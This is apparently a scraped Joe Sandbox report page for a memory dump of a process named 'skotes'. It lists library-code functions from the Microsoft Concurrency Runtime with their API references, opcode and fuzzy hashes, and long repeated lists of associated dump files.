Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 5d2a1ca01c4cae32020877c2ae5d00a85f29509c4b19dd2d1f9db6908d09397e
Instruction ID: 3aa92a7471087f4cb5179737f9e70af38f0219978590a71a5716305db6113c16
Opcode Fuzzy Hash: 5d2a1ca01c4cae32020877c2ae5d00a85f29509c4b19dd2d1f9db6908d09397e
Instruction Fuzzy Hash: F721C172900754DFDB04EF65DA82DAEB7F4AF04310B20406AF002AB2A2DB316E41CB50

Function 00AEA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00AEA069

Part of subcall function 00AEB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00AEB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00AEA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00AEA0CB

Part of subcall function 00AEAB41: List.LIBCONCRT ref: 00AEAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00AEA0DB

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: 7bc7dda43b1b2ac169b1d64186b8b1a16d9e1216cc1c4a5b73435ae806da2ec1
Instruction ID: 0cb137b1fbc88aec05eadbbe5464b75a92017f60f3063bb228a74fe6d06276a0
Opcode Fuzzy Hash: 7bc7dda43b1b2ac169b1d64186b8b1a16d9e1216cc1c4a5b73435ae806da2ec1
Instruction Fuzzy Hash: AA218931500B159FCB24EF66DA908ABF3F5FF58710B00495EE443A7661DB74B905CBA2

Function 00AE4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AE4893
ListArray.LIBCONCRT ref: 00AE48A5

Part of subcall function 00AE5555: _InternalDeleteHelper.LIBCONCRT ref: 00AE5564

ListArray.LIBCONCRT ref: 00AE48AF
_InternalDeleteHelper.LIBCONCRT ref: 00AE48C8

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: bf9d70bf35e3d479848032f4de7b83bab5195893ecadf1464f5d72adca9041f5
Instruction ID: 48df85471d5941f5c6ad03140ff895c1969025a92c7decca00a988203dc83e78
Opcode Fuzzy Hash: bf9d70bf35e3d479848032f4de7b83bab5195893ecadf1464f5d72adca9041f5
Instruction Fuzzy Hash: 1D01F9317005A1BFCB15BB66DAC6E7DB76EBF49710B00012AF50457612DF21EC2187A1

Function 00AEEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AEEE6A
ListArray.LIBCONCRT ref: 00AEEE7C

Part of subcall function 00AEEF29: _InternalDeleteHelper.LIBCONCRT ref: 00AEEF3B

ListArray.LIBCONCRT ref: 00AEEE86
_InternalDeleteHelper.LIBCONCRT ref: 00AEEE9F

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: feee73c32697c1c68bc9a8ab72e18e64f0fec090ee49a0492b3fa6b3f0e131e9
Instruction ID: 54e286d3aa77ec68e633c6d2c40f1ae07f505fe2ba44bd10d03dcfd402ec018f
Opcode Fuzzy Hash: feee73c32697c1c68bc9a8ab72e18e64f0fec090ee49a0492b3fa6b3f0e131e9
Instruction Fuzzy Hash: E101F431300661BFCB25FB66CAC2E7EBB69FF89710700046AF4059B612CB20EC2186E0

Function 00AED0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00AED0C5
ListArray.LIBCONCRT ref: 00AED0D7

Part of subcall function 00AEC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00AEC6C4

ListArray.LIBCONCRT ref: 00AED0E1
_InternalDeleteHelper.LIBCONCRT ref: 00AED0FA

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: c62740cbdede6a2dd2ba16e2894cfcbd091cb11a09e69c3f216d1aca49daf7e5
